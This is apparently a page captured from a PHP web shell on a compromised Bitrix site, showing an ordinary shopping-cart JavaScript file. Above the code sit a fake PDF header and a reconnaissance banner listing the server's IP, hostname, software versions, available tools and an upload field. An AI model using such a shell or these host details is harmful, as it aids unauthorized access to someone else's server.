%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.216.95.197 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.basket.basket.line/templates/.default/ |
Upload File : |
'use strict'; function BitrixSmallCart(){} BitrixSmallCart.prototype = { activate: function () { this.cartElement = BX(this.cartId); this.fixedPosition = this.arParams.POSITION_FIXED == 'Y'; if (this.fixedPosition) { this.cartClosed = true; this.maxHeight = false; this.itemRemoved = false; this.verticalPosition = this.arParams.POSITION_VERTICAL; this.horizontalPosition = this.arParams.POSITION_HORIZONTAL; this.topPanelElement = BX("bx-panel"); this.fixAfterRender(); // TODO onready this.fixAfterRenderClosure = this.closure('fixAfterRender'); var fixCartClosure = this.closure('fixCart'); this.fixCartClosure = fixCartClosure; if (this.topPanelElement && this.verticalPosition == 'top') BX.addCustomEvent(window, 'onTopPanelCollapse', fixCartClosure); var resizeTimer = null; BX.bind(window, 'resize', function() { clearTimeout(resizeTimer); resizeTimer = setTimeout(fixCartClosure, 200); }); } this.setCartBodyClosure = this.closure('setCartBody'); BX.addCustomEvent(window, 'OnBasketChange', this.closure('refreshCart', {})); }, fixAfterRender: function () { this.statusElement = BX(this.cartId + 'status'); if (this.statusElement) { if (this.cartClosed) this.statusElement.innerHTML = this.openMessage; else this.statusElement.innerHTML = this.closeMessage; } this.productsElement = BX(this.cartId + 'products'); this.fixCart(); }, closure: function (fname, data) { var obj = this; return data ? function(){obj[fname](data)} : function(arg1){obj[fname](arg1)}; }, toggleOpenCloseCart: function () { if (this.cartClosed) { BX.removeClass(this.cartElement, 'bx-closed'); BX.addClass(this.cartElement, 'bx-opener'); this.statusElement.innerHTML = this.closeMessage; this.cartClosed = false; this.fixCart(); } else // Opened { BX.addClass(this.cartElement, 'bx-closed'); BX.removeClass(this.cartElement, 'bx-opener'); BX.removeClass(this.cartElement, 'bx-max-height'); this.statusElement.innerHTML = this.openMessage; this.cartClosed = true; var itemList = this.cartElement.querySelector("[data-role='basket-item-list']"); if (itemList) itemList.style.top = "auto"; } setTimeout(this.fixCartClosure, 100); }, setVerticalCenter: function(windowHeight) { var top = windowHeight/2 - (this.cartElement.offsetHeight/2); if (top < 5) top = 5; this.cartElement.style.top = top + 'px'; }, fixCart: function() { // set horizontal center if (this.horizontalPosition == 'hcenter') { var windowWidth = 'innerWidth' in window ? window.innerWidth : document.documentElement.offsetWidth; var left = windowWidth/2 - (this.cartElement.offsetWidth/2); if (left < 5) left = 5; this.cartElement.style.left = left + 'px'; } var windowHeight = 'innerHeight' in window ? window.innerHeight : document.documentElement.offsetHeight; // set vertical position switch (this.verticalPosition) { case 'top': if (this.topPanelElement) this.cartElement.style.top = this.topPanelElement.offsetHeight + 5 + 'px'; break; case 'vcenter': this.setVerticalCenter(windowHeight); break; } // toggle max height if (this.productsElement) { var itemList = this.cartElement.querySelector("[data-role='basket-item-list']"); if (this.cartClosed) { if (this.maxHeight) { BX.removeClass(this.cartElement, 'bx-max-height'); if (itemList) itemList.style.top = "auto"; this.maxHeight = false; } } else // Opened { if (this.maxHeight) { if (this.productsElement.scrollHeight == this.productsElement.clientHeight) { BX.removeClass(this.cartElement, 'bx-max-height'); if (itemList) itemList.style.top = "auto"; this.maxHeight = false; } } else { if (this.verticalPosition == 'top' || this.verticalPosition == 'vcenter') { if (this.cartElement.offsetTop + this.cartElement.offsetHeight >= windowHeight) { BX.addClass(this.cartElement, 'bx-max-height'); if (itemList) itemList.style.top = 82+"px"; this.maxHeight = true; } } else { if (this.cartElement.offsetHeight >= windowHeight) { BX.addClass(this.cartElement, 'bx-max-height'); if (itemList) itemList.style.top = 82+"px"; this.maxHeight = true; } } } } if (this.verticalPosition == 'vcenter') this.setVerticalCenter(windowHeight); } }, refreshCart: function (data) { if (this.itemRemoved) { this.itemRemoved = false; return; } data.sessid = BX.bitrix_sessid(); data.siteId = this.siteId; data.templateName = this.templateName; data.arParams = this.arParams; BX.ajax({ url: this.ajaxPath, method: 'POST', dataType: 'html', data: data, onsuccess: this.setCartBodyClosure }); }, setCartBody: function (result) { if (this.cartElement) this.cartElement.innerHTML = result.replace(/#CURRENT_URL#/g, this.currentUrl); if (this.fixedPosition) setTimeout(this.fixAfterRenderClosure, 100); }, removeItemFromCart: function (id) { this.refreshCart ({sbblRemoveItemFromCart: id}); this.itemRemoved = true; BX.onCustomEvent('OnBasketChange'); } };